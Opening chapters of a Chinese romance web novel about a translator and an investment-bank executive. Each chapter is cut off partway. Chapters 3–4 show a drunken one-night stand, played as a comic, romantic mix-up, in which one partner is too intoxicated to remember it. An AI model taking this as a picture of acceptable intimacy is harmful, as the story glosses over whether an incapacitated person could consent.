《我们可没有谈恋爱!》 1. 刀锋 《我们可没有谈恋爱!》全本免费阅读 晋江文学城独家正版 文/时有幸 京市,国贸中心。 超甲级的写字楼临近长安街,盘踞于整座城市最好的商业地段,晚上八点灯火通明。 正值春夏换季,淅淅沥沥地下着阵雨,出租车停靠街边之后,江知羽抬手打开后座门。 “江总监,来了吗?十万火急!”耳机里有同事通风报信。 “周总今天一直在焦虑暴走,快把仙人掌拔秃了啊!” 江知羽利落地撑开长柄伞:“我在楼下,这就到。” 与此同时,出租司机拎出后备箱的行李,江知羽特意调小通话音量,礼貌地说了句“谢谢”。 熟门熟路走进大楼前厅,江知羽摁下电梯键,看着数字从65开始往下跳动,无聊地在口袋里拿出一张名片。 他刚坐国际航班回来,路上有人搭讪,递来这么个东西。 潦草扫过一眼,看到对方就职于某家证券公司,随后抬手扔到垃圾桶里。 那个圈子外表光鲜,实际出了名的乱,虽说不能用刻板印象给人贴标签,可自己没有一探究竟的兴趣。 总而言之江知羽对金融男过敏。 不过他的老板周柯热衷与这些人做生意,毕竟玩钱的讲究体面,预算费用自然很阔绰。 江知羽来到28楼,这栋房是复合办公体,有不少公司租用场地,他所在的跨国语言公司包了一整层。 公司在翻译行业名列前茅,录用门槛很高,国内办事处刚起步没五年,走精简路线,所以人数不多,环境宽松舒适。 处处装修得高档敞亮,标牌上的名称很显眼:蒲音。 刷了权限卡走进去,大家瞧见江知羽回来了,纷纷笑着与他打招呼。 有人调侃:“我说怎么空气莫名其妙变得清新,原来是方圆三公里冒出了帅哥。” “也可能是我带来的伴手礼比较香。”江知羽八面玲珑地接茬。 他拿出包里的礼物:“几盒榛果巧克力,各位加班辛苦了,分一下垫垫肚子。” 出差半个多月,落地就被喊到公司,他坐了十多个小时的飞机,但没人能从他身上瞧见疲惫,看过去只觉得眼前一亮。 江知羽长得漂亮,是无可置疑的美人长相,皮肤白净细腻,被灯光照着好似能透光。 桃花眼轮廓优美,眼尾处微微上挑,显得明艳而有锋芒,右边有一颗褐色浅痣,恰到好处地淡化了攻击性,这样的形象很容易成为被亲近的焦点。 “周总在办公室等您了。”助理上前询问,“您要不要喝点东西,果汁还是咖啡?” 江知羽朝她笑:“麻烦帮我倒一杯冰拿铁吧。” 助理开心地去做饮料了,茶水间新换了豆子,风味比以往酸涩,苦得江知羽微微愣住。 表情闪过瞬间的空白,他继而悄悄咬了下嘴角,把杯子放到桌上,之后没敢再动过。 在他对面,周柯絮絮叨叨地开口。 “想着你之后要倒时差,再特意跑一趟公司也麻烦,干脆今天顺路绕过来算了,有个大项目最好提前通个气。” 江知羽点了点头,听周柯说起最近接触的一家头部投行。 对方最近准备主办活动,这边争取到合作,负责现场的交替传译。 交传顾名思义,发言和翻译穿插进行,多个语种当面沟通的时候,翻译员夹在中间适时转述,这在业内属于精尖服务。 “平台和规模没得说,钱也给到位,当然,他们眼光高得很,光是前期的交涉就费掉我半条命,今天刚签完合同。” 周柯这么讲着,十指交叉握拳,看向江知羽。 “我们还没有敲定团队人选,你愿不愿意竞争一下?” 他提到的投行叫松晟,经常出现在财经新闻里,举行的活动规格很高,参与者也很有份量。 这样的合作方可遇不可求,要是走运搭上线,说不定能开发成长期大客户…… 江知羽顿了顿:“我的资历还很浅。” “经验不够才要抓住机会啊。”周柯鼓励,“小知,总是躲在幕后看上市材料,对你来说太浪费了。” 两人除开上下级关系,也是多年的好朋友,江知羽并非科班出身,因为周柯的赏识和邀请,毕业后入职了这里。 他这几年来没有辜负提携,陆续考过相关证书,也做出了不错的成绩,如今可以试试更上一层楼。 不过,江知羽转着桌上的钢笔,有些犹豫:“松晟提过什么预期条件?” 说到这个周柯就无语,一边揉着太阳穴,一边好笑地描述。 “明面上说是综合评估,以他们找过的那些人,首先形象好气质佳,交传要陪他们对外应酬,脸上不能坑坑洼洼,拉去影视城能分组到《华尔街风云》,我看照片一个比一个腿长。” 江知羽听得有些头晕,也有点想拔仙人掌了,示意让周柯赶紧打住。 他试图梳理思绪:“请问他们是在选妃吗?” 周柯义愤填膺:“我也嫌他们挑三拣四,又不和他们睡觉,怎么皮肤也要好?!” 江知羽琢磨:“听上去就难伺候,像是光棍憋久了很会幻想。” 直觉性感到不妙,他趁机说:“我要不还是别惹这类人了。” 可惜话音落下,周柯分分钟变了脸色。 “你的工作态度在哪里?人家出手就是百来万,别说减肥和美容了,哪怕让我跳脱衣舞,一打款我立马清凉上阵啊!” 然后他纳闷,江知羽也没谈过恋爱,单身狗之间搞什么鄙视链? 再者说金融行业妖风那么大,平日里看着独善其身,背地可没让自己憋着。 他们的私生活肯定比江知羽丰富多彩,不至于找无辜的翻译员发泄想象力。 江知羽想推辞没成功,反而被教育一顿,暗落落地移开眼。 他嘀咕:“噢,他们是单纯的爱装又事多。” 紧接着,他在心里说坏话,逼王就是麻烦。 在公司交完底,周柯也要下班了,见外面阵雨没停,开着越野顺路送江知羽回去。 江知羽在附近租了一套酒店式公寓,做高级翻译收入不菲,能供他过上优渥的生活。 尽管这段时间被派遣在外,但有保洁按时上门打扫,公寓维持着整洁干净,随时欢迎主人回家。 泡了一会儿热水澡,江知羽钻进被窝,之前在商务舱睡过觉,现在还不是很困。 他打开微信列表找出本科同学,这人目前任职于松晟的并购部门。 江知羽寒暄了几句,随后开门见山,询问这次合作谁有话语权。 同学开朗健谈,这件事也算不上秘密,直率地说由他们组内讨论筛选,最后交给并购组的老板过目。 “我们要求很多。”同学袒露,“和颜控没什么关系,说白了不缺人,各方面卷得厉害。” 他补充:“老板本身在工作上特别挑,我们把名单送上去,肯定希望他看完能一次性通过,也就会把门槛设高点。” 江知羽好奇:“你们老板的脾气怎么样?我可能会和他打交道,在学习如何驯服霸王龙。” 同学回答:“我很少有资格和他说话,这一块怕是帮不到什么忙。” 他话里有些无奈,语气则恭恭敬敬,江知羽捕捉到了钦佩和崇拜的意味。 “这人一打眼就瞧得出来骨子很傲,性格谈不上多好,不是亲和型领导。当然,大家对他很服气,他属于扛得住事的实干派……”同学揣摩着描述。 并购组交易复杂,过手资金有万亿之多,在公司里地位颇高,能做这个业务的一把手,足以说明对方的工作水平很强。 普遍而言,这类事业狂都有性格瑕疵,江知羽不太意外,若有所思地垂下眼睫。 耳边,同学扯远:“我一直有点怕他,上个月和他开指导会,居然有男的缠着他想加微信,吓得我差点心脏骤停,连忙上去护驾。” 江知羽搭话:“他是同性恋么?” “算性冷淡吧,他从来没传过花边绯闻,被那男的搭讪,表情臭得和基金跌停了一样。” 同学唏嘘着,话锋一转:“他应该是很受瞩目的类型,你如果能碰见就会懂了。” 名利场上过招,谁有胃口欣赏客户?江知羽身而为Gay,对此心如止水。 他不以为意地用指尖拨弄枕头,与同学闲聊了几句日常琐碎。 道谢后,江知羽挂掉电话,同学在聊天框发来老板的名字。 [戚述。] 江知羽瞄过一眼,默默地说,这名字一股精英腔调,让人下意识地想绕道走。 好在以同学的口气,戚述的级别非常高,哪怕是松晟员工都很难见到面。 估计自己也不会与之有多少交集,尽量别招惹到逆鳞就好了。 第二天,江知羽睡到中午,他的工作考勤灵活,出差结束之后有个休息期,没排班可以自由活动。 他本来计划跑苏州看望奶奶,不料奶奶报了旅游团,这些天去武汉赏花了,远比社畜更快活。 正好自己一回来就有事要忙,江知羽在床上赖了没五分钟,摇摇晃晃地去洗漱。 这几年养成了习惯,起床第一件事就是听新闻磨耳朵,屋内响起刷牙声的同时,回荡着流利的RP音。 他就着牛奶吃掉沙拉,再打开笔记本电脑,清瘦的身体蜷缩在沙发里,开始搜集戚述的信息。 戚述的隐私保护意识很强,堂堂首席经济学家,网上居然没有照片。 江知羽扫过他的履历,国内TOP2出身,硕士在海外名校,做过私募也待过券商,每一行字都证明着本人的优秀,可以说是风头正盛。 校园经历之外,戚述的几次投资非常成功,大概是业内人士向往的人生轨迹。 如今升职到高位,江知羽计算他的年龄, 2. 惹眼 《我们可没有谈恋爱!》全本免费阅读 彼此还蛮凑巧,江知羽嫌屋里太闷,走去路边等网约车,期间又看到了那个男人。 对方打开迈凯伦的蝴蝶门,在把醉醺醺的同伴丢进去。 称呼为同伴似乎不准确,他们一个衣着简单,另一个西装领带,完全不像朋友或共事。 那怎么一起从会所出来呢? 望着男人凛冽的眉眼,以及肩宽腿长的侧影,江知羽略微歪过脑袋,再拿出手机向周柯提问。 他结合出入场所和双方形象,推敲:[这年头又拽又傲的也能做陪局?] 周柯秒回:[夜场的物种确实非常丰富,肯定是嘴甜会来事儿最受好评,架不住有客户天生抖M。] 看到这行字,江知羽觉得自己悟了,忍不住又往迈凯伦瞄了一眼。 醉鬼已经被塞到车里,男人散漫地靠在门前,低头活动手腕,特别像行凶之后的收场姿态。 他再绕去主驾驶座,发动汽车驶向马路,整套动作行云流水。 江知羽在原地怔了怔,而周柯迅速打来电话。 “怎么,你看上谁了?”周柯不怀好意地问。 随意地多看了几眼而已,根本谈不上有好感,江知羽言辞闪烁。 他含糊道:“你干嘛那么八卦?” 声音听着还挺无辜,周柯有些来气,痛心疾首地质问。 “我派你去会所潜伏,你却打听一棵高岭之树,难道你隔空诊断出来戚述是M?我怀疑你在公费找乐子,没把任务放脑子里啊!” 确实忘记来意的江知羽:“。” 见他不吱声,周柯了然这是心虚。 “我约了松晟下周一吃饭,到时候要是聊不开,我让你亲自来卖笑。”他恐吓。 江知羽抗议:“投行十个人里八个爱打德扑,业余时间还需要动脑子,和我玩不到一起。” “混出头的谁不是长了八百个心眼?”周柯抽着烟,“知道你领导做业务有多不容易么,我现在就想让你顶上来。” 听着他的数落,江知羽小幅度地仰起下巴。 “我不喜欢在应酬桌卖笑,这种专业的事就该放手给商务。” 周柯发散思绪:“说起来戚述有点受欢迎,商务部的知道了这次的对接方,积极来我这里响应,说是想看看他到底长什么样。” 闻言,江知羽支棱起来:“那我们反倒该给戚述出个门票钱。” “靠,把人家当消遣是吧?”周柯笑骂。 “这可不敢。”江知羽勾起嘴角。 他道:“他摆明了是硬骨头,我的牙口没那么好。” 与江知羽隔着半条马路,合伙人头脑逐渐清醒。 跑车后座空间狭窄,他询问自己能不能换到副驾,戚述很没同情心地拒绝了。 “为什么啊?”合伙人诧异。 他追问:“你是不是找对象了,所以副驾是专属座位?” “不,单纯因为你身上酒味太冲。”戚述解释。 他感觉合伙人在泼脏水:“你的揣测有点恶意,专属座位是什么东西,智商但凡超过七十就干不出来。” 合伙人艰难地在后座挪动,没力气与戚述探讨智商问题。 他幽幽遗憾,此时的确抱有恶意:“你应该去学习下如何体贴,收收你身上那股精英主义的味,小心一辈子都找不到老婆。” 可惜这个诅咒对戚述无效:“我不需要。” 按照导航路线,他们在路口掉头,合伙人趴车窗上呼吸新鲜空气。 过了一会儿,车子停下来等红绿灯,他瞄见之前坐在吧台的身影。 “你快看,这就是缘分!”合伙人指指点点,“路边的光线比店里亮堂,他真的很惹眼,我没有诈骗吧?” 戚述没理睬这句感叹,始终用后脑勺冲着他,看样子不解风情。 只是交通信号灯迟迟没有变,戚述百无聊赖,便不动声色地往旁边一瞥。 这家会所门槛苛刻,能涉足的都是玩咖,青年就站在店门口,歪过脑袋在接听电话。 不知道在聊什么内容,瞧着颇为来劲,说说笑笑之际,他弯起了唇角,神色矜傲又灵动。 刚才合伙人如何形容这位过客?好靓还是惹眼?戚述心想,貌似全都有。 很快,有网约车停在江知羽面前。 四月的街边开满月季,花香影影绰绰沉浮在道路间,双方随即前往相反的方向。 松晟在国贸有一栋独立大楼,戚述到的时候,秘书已经等在车位旁。 合伙人被秘书扶出来,她顺道询问正事。 “戚总,蒲音的周先生约我们下周一吃晚饭,您要不要去?” 戚述知道这家公司的存在,公司新签的翻译方,据说口碑和水平都不错。 但他向来懒得应付这类交际,对面没有重要到他必须出席的程度。 戚述就地取材,让合伙人代为应酬,到了周一连轴开会,几乎忘掉这件琐事。 临近黄昏,家里弟弟打来语音,说起自己今天生日,打听兄长能不能回家庆祝。 戚述的经济和生活早已独立,不再与家人同居,见到弟弟这么热情,下意识有一些防备。 他问:“老妈要催婚?” 弟弟很耿直:“当然啊,你每次回来就爱查我作业,总不能是我自己找罪受。” 戚述随机应变:“我工作很忙回不来,没有福气吃你的蛋糕。” 弟弟知道这人蔫儿坏,不太容易上当。 “真的假的?你是不是打发我们?” 戚述熟练地敷衍了几句,继而记起今天本来有场晚宴,但被甩给了合伙人处理。 这时自己想要找点事情加班,一时兴起回忆着翻译方是谁。 戚述喊来秘书:“蒲音有没有提供人选名册?我晚上有空,先看一看。” 秘书表示下午刚收到,回头打印好纸质版本,用文件夹装起来,恭恭敬敬地放在办公桌上。 晚上七点多,戚述处理完公务,拿起了这叠纸,上面的信息很详细,从学习经历到从业证书一应俱全。 他走马观花似的翻到第三页,忽然迟疑地顿住。 右上角照片上有双熟悉的桃花眼。 视线停留了大概两三秒,从那张漂亮面孔移到个人信息栏,名字朗朗上口:江知羽。 几乎是同时,替他赴宴的合伙人频频发消息。 [周柯有点上道,找来几个花瓶解闷,抚慰了我被新能源伤害的心灵。] [你不来真的很惋惜。] [算了,你还是不来比较好,一来这个场子就会被你变成清水局。] 戚述嫌他吵,准备拉进屏蔽名单,偏偏合伙人话锋一转。 [你知道么!!我刚看了周柯发的员工简历,居然就是我们前几天遇到的人!!] 看到这条消息,戚述嗤笑:[所以?] 合伙人被新能源重创的伤口已经愈合,这会儿精神饱满,噼里啪啦地打字。 [不光脸蛋好看,学历和经验居然也不错,人家本科很拔尖,和你母校离得近,传说中的学霸扎堆地段。] [感觉今天缘分没到位,蒲音来了老板和商务,这位江总监没有露脸。] [我让周柯喊人过来,他说是有别的工作,惊呆了,大晚上的还干活,怎么和你一样无聊?] 另外一边,江知羽步伐很是轻盈,只身来到国贸周围的酒吧街。 刚才周柯问他能不能去饭局,松晟的领导想见见他,江知羽随口编个理由拒绝了。 虽然那边位高权重,值得认真对待,但他同样有架子。 两边都是靠自身本事赚钱,江知羽的时间和精力也很珍贵。洽谈就走流程约面试,让他大晚上应酬算怎么回事? 要是上赶着过去,反而显得廉价和卑微,这和岗位本身需要的靠谱犯冲。 不明白戚述这边在搞什么,感觉自己没被尊重。 不过以自己的初步了解,对方就是一个傲慢又自我的人,这么想想貌似能够理解。 江知羽还没与戚述打照面,率先有了恶劣印象。 和他们撒完谎,江知羽精挑细选买了一束鲜花,找到好友隆重开业的夜店,走进去时换上了笑脸。 “第一天就这么热闹,差点挤不进来。”他送上花,调侃,“今晚数完钱该看看二环楼盘了吧?” 好友陶奕白在招待顾客,注意到江知羽来了,雀跃地把他迎进去。 “什么二环楼盘,装修花了我全部身家,年底能回本就不错了!”他接茬。 紧接着,他再关心:“出差半个月累得够呛吧?特意给你留了位置,今晚好好放松。话说你要鸡尾酒还是威士忌?” 江知羽回答:“看看你家的招牌是什么,我来鉴别一下好不好喝。” 陶奕白摇了摇手指:“那你最好酒量不错,不然没几口就被放倒,得在这儿的沙发上过夜。” 没之前的会所清净,这家夜店氛围喧哗,鼓点紧凑躁动,人群闹得快要掀翻屋顶。 随着台上唱歌打碟,场内逐渐火热,大家混乱地狂欢起来。 江知羽独自坐在散座上,研究着面前的粉色鸡尾酒。 他虽然不是循规蹈矩的愣头青,但也不是风流在外的纨绔子,工作和生活都很简单,平时并不买醉。 思索着自己的酒量,江知羽谨慎地抿了一口。 草莓味盖过了烈酒气息,整体顺滑甜美,似乎更像调制果汁。 江知羽眨眨眼睛,合着朋友是口出狂言,他还以为这杯度数很高。 陶奕白招待朋友非常大方,过了会,服务生又端来果盘和新酒,表示江知羽可以都尝尝。 隔壁桌看他形单影只,主动邀请一起玩,其中有人说自己很懂得算命。 那人性格爽朗:“算对了送我一杯酒,要是蒙错了你别介意。” 他们的散台有空位,江知羽从善如流地坐过去。 他好奇要怎么算:“左手还是右手?” “不讲究。”这人俨然是草台班子,察言观色多过肚子里的墨水。 “你家庭背景很好,工作也体面,教育的话估计留过学,本科是不是在英国?” 江知羽衣服上不漏品牌标签,可质感和剪裁一看就是上乘货,品味也非常出众。 以他的年纪,如果不是从小吃穿用度就好,没多少人舍得这么开销。 听到他这么分析,江知羽点头捧场:“我大学在Cam。” “这些年桃花运不错吧,谈过几个男朋友。”那人动用基佬雷达。 江知羽的言行举止并没有明显倾向,只是桌上的女生们对他目不转睛,而他毫无反应,大概不在同个频道。 江知羽失笑:“不好意思,我没觉得有桃花。” “哥们儿,你这条件怎么可能缺爱?肯定是自己看不中。”对方道。 他再说出万用金句 3.良夜 《我们可没有谈恋爱!》全本免费阅读 因为江知羽没有出席饭局,合伙人惋惜地吐槽了一阵,不过很快被其他事情吸引,没再分神与戚述闲聊。 戚述大致翻完蒲音的简历,秘书与他汇报进度,说初步定下了几位口译专家,之后会进一步沟通。 “你们选出来的都有谁?”戚述问。 秘书随即查找记录报出名字,戚述耐心地听着,叠起手指敲了敲桌沿。 他道:“江知羽不是语言专业出身,也没有足够的参会经验,为什么在里面?” 秘书愣了愣:“他虽然阅历不多,但每次都做得很稳当,我听过他的会议同传,功底不比别人差。” 她再揣摩:“戚总,您要划掉他么?” 戚述没这个意思:“不是杨牧川被蛊昏了头,抛下道德想泡人就好,到时候丢松晟的脸面。” 杨牧川就是那位咋咋呼呼的合伙人,作风颇有一些浪荡,秘书对此心知肚明。 秘书有些庆幸地解释:“和杨总没关系,蒲音那边规规矩矩,他也跟着保持职业素质。” 戚述没有别的问题了,关掉电脑走出办公室,乘电梯时接到母亲的来电。 “是不是小铭说漏嘴,所以你故意不回来了?”戚母兴师问罪。 戚述替弟弟揽锅:“是我自己猜到的,除了理财和相亲,我在你这里好像暂时没有别的功能。” 戚母道:“你又没同意相过,这次是人家特意找上门,问你是不是单身……” 戚述打断:“我现在刚下班,真没那个空,也没结婚的想法。” 戚母脑筋急转弯:“你是不是喜欢男的啊?” 戚述冷硬地回答:“我不喜欢自己的生活被别人打乱。” “阿树。”戚母说,“你现在回公寓能干嘛?没有人等你,一个人住着从来没觉得无聊?” 戚述简直刀枪不入:“这么多年我都是独居,不需要别人等,感觉特别自在。” 母子俩没有谈拢,戚母放弃改造这颗石头,叮嘱他最近昼夜温差大,要随身多备一件衣服。 戚述闻言应声,瞥了眼自己拎着的西装外套。 他早就独立惯了,不用被提醒,能够照顾自己。 不过他淡淡地应声,让母亲也注意身体,挂掉电话之后沉默片刻,继而打开了朋友圈。 弟弟晚上庆祝生日,刚发照片炫耀,今年收到了一整墙的礼物。 他与自己隔了十来岁,是同母异父的关系,但这个重组家庭并没有狗血矛盾。 两方都是通情达理的知识分子,相处温馨安稳,反倒衬得戚述扎在里面,怎么看怎么多余。 好在戚述人格成熟完善,不是敏感的小男孩,自有事业风生水起,没工夫纠结这点寻常世故。 他看了一会儿礼物照,再掐掉屏幕。 多得是人挤破脑袋想讨好戚述,却连门槛都踏不进,整墙的高达玩具在他眼里如同幼稚园过家家。 不过,戚述抛了抛车钥匙,看着空荡荡的地库,和安静蛰伏的超跑,莫名地不太想回公寓。 确实回去了没什么事可做。 周围大型企业扎堆,配套的夜间娱乐活动很丰富,纸醉金迷的热闹场所遍地开花。 在公司对面,好像还有一家夜店新开业,但戚述不喜欢那么混乱的地方。 他去了附近的静吧,今晚不是第一次来,习惯性独自落座在窗边,再点了杯黑方威士忌。 “我们换了夏季酒单,您要不要试试?”调酒师问。 戚述微微颔首,追加了一份新品套餐。 他往常虽然有应酬,但鲜少饮酒,更不会贪杯,偶尔来静吧打发时间也是点到即止。 今晚戚述用酒精配纳斯达克指数,预估的走势整体高位震荡,美联储政策立场摇摆不定,叠加起来让人烦心。 他不禁多喝了几杯,自觉头脑尚且清醒。 可这样一定是不能开车了,戚述抬腕看时间,下单代驾填写车型和住址。 很快,代驾平台打电话。 客服解释:“您的车是Huracan吗?值班的司机没驾驶经验,不敢硬接超跑的单,到时候有个万一负责不起。” 这里是繁华地段,大半夜打车也要排队,戚述懒得折腾了,干脆就近开一间房。 五星酒店有一套成熟的大客户管理系统,前台看到戚述的录入信息,自动提供出最好的套房。 “1301。”前台报出房号。 紧接着,她殷勤地说,“我们有24小时厨房,您有需要的话随时呼叫内线。” 戚述接过房卡,上楼的时候,感觉到有点头晕和气闷,知道自己大概是醉了。 走路和说话能保持正常,不是醉得太严重,所以他并没有多想。 然而戚述的注意力太分散,忘了确认房门是否关紧。 反手关上的时候听到碰撞声,实际朝外细了一条小缝,倒是不至于被窥探房内情况。 但问题在于这门一推就开。 江知羽摇摇晃晃从电梯里出来,短短几分钟的工夫,从身体勉强平衡,到倍感天旋地转。 最初没觉得难受,逐渐泛上来的后劲却很大。 他特意揉了揉眼睛,再看到“1301”的数字牌,没多想便拿出房卡。 机器发出“滴滴”的错误提示声,江知羽困惑地垂下脑袋,却发现门已经自动打开了。 于是他进去以后反手关门,扶着墙先躺到了沙发上。 胡乱地感觉到手边有什么东西膈着,江知羽先是警惕地顿了顿,继而小心翼翼摸索着,确认这是一件外套。 他无法思考自己的房间为什么会有陌生西装了,鼻尖嗅了嗅上面的气息,是清爽又沉稳的木质调香水味。 然后他就和小动物筑巢一样,将好闻又好摸的衣服团了团,趴在上面昏昏沉沉。 戚述从浴室里出来,就看到有个清瘦的人影躺在屋里,侧着看不清长相。 喝多有一定可能会产生幻觉,可戚述不觉得自己糊涂到了这种地步。 “你走错了?”他疏离地问。 对方似乎没听清他讲话,有点难受地轻哼了声,戚述不情不愿地走近一瞧,居然是熟悉的面孔。 “江知羽。”他记得这个名字,也看到了对方掉落的房卡上标注1307。 合着是个近视眼? 他嗤笑:“醒醒,我让前台带你回你的房间。” 耳边响起陌生的声音,江知羽这会儿反应迟钝,浑然感觉不到任何危险气息。 他嫌男人太吵,把脑袋埋进了那件外套里。 看到西装被当枕头,戚述磨了下虎牙,想伸手把自己的衣服抽掉。 然而江知羽蜷缩起来,身体线条轻盈柔软,姿态有几分可怜意味,似乎可以整个抱起来。 戚述原先想把江知羽拉走,手指还没碰到皮肤,先一步缩了回去。 “我去打内线。”分明都是男人,他的视线却下意识地回避。 江知羽浑浑噩噩,从衣服里探出脑袋,模糊地看到一抹轮廓。 光鲜亮丽的纯色衬衫和西装长裤,金融过敏的一看就起反应。 放在平日里,江知羽会选择绕道走,但今天很有骨气。 “哪里来的啊?你不准走,交代清楚你是谁。”江知羽迷糊开口,颇为严肃地准备审判。 戚述闻言扭过头,再听到他困惑:“我也就今晚没给松晟赶稿子,他们派你来奴役我吗?” 戚述听到自己的公司名字,忽地有了兴趣,顿住步子没急着呼叫酒店。 “我是松晟的又怎么样?”他请教。 江知羽撇了下嘴,磕磕绊绊地发脾气。 “打个电话让我去晚宴,正经生意是你们这样做的么?还有戚述写的什么发言稿?发封邮件就要我做笔译!” 他浮现出有关稿件的记忆碎片,嘀咕:“我本来今天有桃花运的,都被他的货币分析冲掉了,只能像诅咒的一样睡沙发……” 戚述不肯背黑锅:“他的本事有那么大?” 他的语气习惯性有一些冷硬,江知羽恍惚地愣了愣,感觉猝不及防被凶了下。 他垂下细长脖颈,半张脸埋在人家的衣服里,一副很伤心的样子。 戚述没有哄人的经验,看对方红着眼眶不吱声,登时不清楚该怎么收场。 没提前约过时间,临场让江知羽来吃饭,确实不尊重人。 可这是杨牧川的所作所为,难道自己要分担? 戚述打算把杨牧川喊来,与江知羽道:“这边的过错会给你道歉,说吧,你要什么补偿?” 江知羽半梦半醒,觉得屋内有些燥热,解开了两颗扣子。 他说起来有些委屈,内容则属于流氓:“你们赔我老公。” 戚述:“……” 本来他已经打开杨牧川的拨打页面,被江知羽这么一搞,他想了想,无语地关上手机。 江知羽明显醉得一塌糊涂,要是直接把人塞回旁边的1307,万一出点事情没法解释。 难道要自己看着? 戚述觉得荒谬,第二天对方赖上他怎么办? 越想越晕,戚述打住思路,决定去冲个澡再说。 怕江知羽中途乱跑以至于跌撞摔伤,他将对方打量一番,再抽出了条纹领带。 江知羽不 4.体温 《我们可没有谈恋爱!》全本免费阅读 直到落地窗边漏进几缕阳光,江知羽筋疲力尽地昏了过去。 他整整一晚的状态很混乱,有时失控地掉眼泪,有时哑着嗓子在求饶。 酒精麻痹了他的理智,身体的反应却依旧敏感,他青涩地遵循着本能,去追逐另一个人的体温。 他连逃离的力气都没有,也没想过推拒,被陌生的感官刺激牢牢支配。 到最后眼眶干涩,江知羽视野模糊,狂欢过后浮上来的不是餍足,转而是难以言喻的空落与不安。 他试图抓住一些什么,下意识地往温暖处靠拢。 梦境黑沉漫长,之前种种如春宵幻觉,好似可以随着酒精一同消失不见。 江知羽被铃声吵醒的时候,完全没有睡饱,还以为自己在做梦。 他整个人被羊绒毯裹着,一时间居然没法动弹,稀里糊涂费劲小半天,然后想也不想就掐掉了闹钟。 [8:30] 自己最近不坐班,怎么突然忘记关闹铃? 困惑一闪即逝,江知羽轻飘飘地闭上了眼睛,没发现这只手机的型号和自己的有区别。 打盹到九点多,他勉强有了力气,再习惯性摸手机听新闻。 “在研报中指出,美股或保持高位震荡,需持续关注通胀数据,昨夜三大股均短暂回调……” 听着主持人一口流利的播音腔,江知羽半梦半醒地缩在羊绒毯里,缓慢回复堆积的未读消息。 周柯:[松晟那位好像对你很有兴趣,你要不赶紧抱抱大腿?和你竞争带队的那几位都精着呢,你稍微上点心。] 江知羽武德充沛:[从小骨头比较硬,他的腿在哪里?我没法弯腰捞不到。] 奶奶:[图片] 奶奶发语音,说着苏州方言:“乖囡,也给你看看花,你下班不要总是闷在家里,多出去放松。” 江知羽选择性听话:[( >????)拍得真好看!能文能武的老太太!] 最后是陶奕白发来关心,字里行间颇为敬佩。 [哥们儿,在我店里灌了那么多,你人真的没事儿啊?还好么?] 那些酒的品质都是上乘,宿醉的第二天没觉得头疼,胃也不大难受。 就是昨晚有过断片,江知羽只记得怎么来到了这家酒店。 之后他如何找到房间,又如何照顾自己,统统没有印象。 江知羽纳闷着,伴随理智逐渐回笼,人也有了点精神,想翻个身继续玩手机…… 为什么一动弹就感觉浑身都疼?!! 等等,他终于意识到了不对,迟钝地继续想。 腿好像不太听使唤,稍稍抬起来就忍不住颤…… 这一缕痛意好似某种指令,让江知羽登时清醒,被蒙蔽的知觉也跟着恢复。 身上酸软又无力,有几处还隐约刺痛,江知羽茫然地望向周围,映入眼帘的画面让人没脸多看。 从窗前到沙发再到床边,到处散着皱巴巴的衣服和配件。 甚至还有七零八落的计生用品包装。 并且已经被拆开了。 冲击力太大,江知羽消化两秒,掀开毛毯坐了起来! 难怪他醒来和懵了一样,酒后乱性和人厮混,居然用掉好几只避孕套,这样能不睡糊涂吗?! 断断续续的记忆涌进脑海,江知羽深吸一口气,扭头往枕边望去。 床榻上留着男人的体温,这时却不见踪影。 几乎是同时,套房虚掩的卧室门被推开,对方从外面走了进来。 两人前不久在会所擦肩偶遇,没有交换过姓名。 一夜情,陌生人,江知羽表情空白,不知道什么的表现才恰当。 身体比理智早一步做出反应,他颤着后背裹紧毛毯。 互相在夜里耳鬓厮磨,床畔的余温都没消散,这时却恨不得把自己包成粽子,紧绷着的脖颈都想缩起来。 江知羽还以为自己没漏出破绽,佯装冷静地率先开口。 “我昨天喝醉了,不太明白你为什么会在我的房间里?” 好歹是需要体面的都市白领,他竭力稳住声线,企图直戳问题重点,一举占领道德高地。 他思绪有些乱,补充:“正常来讲这里不该出现第二个人吧?” 男人似是也想解释这事,递来一张东西。 “这是你的门禁卡。” 江知羽低头看了看,继而扭过脑袋,床头柜的内线座机上贴了这间房号。 ……问罪未半而中道崩殂,这数字和自己的卡片对不上啊! 江知羽暗落落地移开眼:“。” 男人没有顺势在床边坐下,而是退到了门口的软椅上。 他主动隔出一段距离,显得没有侵略感,甚至冷淡自持。 “我昨晚也不小心喝了很多。”他嗓音低沉悦耳,“所以你进错门的时候,我没让前台处理。” 江知羽对事情的发酵经过有点印象,自己酒品恶劣在前,导致他们失控走到这一步。 他勉强应付:“抱歉,看岔号码了。如果方便的话,你发我一张收款码,我把房费转给你?” “我也没有被赶出去睡桥洞,你用不着请客。”戚述淡淡地瞥过来。 见江知羽满脸欲言又止,他补充:“这样不清不楚收了钱,像是在接特殊服务。” 江知羽卡机了:“。” 屋内气氛陷入微妙的僵持,他们都在等对方提起下一个话题。 江知羽想说的可太多了,这人的身体是否健康?目前感情状况是什么? 以及这次荒唐的错轨要怎样收场? 问号一个接着一个,没等他做好充分准备,对方已经朝自己走近。 江知羽有点紧张,硬着头皮抬起脸。 “这是我今年的体检报告。”男人打开线上存档的记录,“没有生病,而且是单身主义。” 他轻易猜到江知羽的心思,一句话打消了疑惑。 不过,他的气场很容易给人制造压力,即便两人并未产生冲突,江知羽依旧有些别扭。 江知羽清了下嗓子,慢吞吞地接过手机。 屏幕上的指标非常好,他扫视过去,还瞧见“胸围102”。 衣服穿得严实的时候,视觉上高挑清瘦,不怎么能看出真实身材,一览无余的时候确实不错,他突兀地走神和分析。 念头一闪而过,江知羽转而懊恼,这都什么时候了,还替人家操心胸围准不准?! 他闷闷地把手机塞回去,再翻找记录,证明自己同样没有感染风险。 “我上个月在国外出差,犯了次低血压,正好去做过检查,你有不清楚的可以直接问。”江知羽职业病发作。 对方流畅地阅读报告:“缺铁性贫血?轻微营养不良?” 江知羽发觉他用不着帮助,放心地“嗯”了声。 男人恍然大悟,语气很淡地抱歉:“怪不得你会晕倒。” 江知羽:? 他什么时候晕过? 微愣半秒,他立即反应过来,昨晚自己不就是迷迷糊糊倒在对方枕边?! 江知羽闭了闭眼,咬牙切齿地想扳回一城。 “先生,有没有可能是你太过火了?一晚上乱七八糟弄掉一整盒,是第一次所以不太会用么?” 顺着他的话语,对方瞄了眼垃圾桶。 丢进里面的东西不堪入目,江知羽见他顿了顿,心想,他是不是终于良心发现? 但下一秒,男人讨教:“你觉得这里面有哪一只是无辜浪费的?” 江知羽:“……” 既然都派上过用场,所以不算浪费是吧? 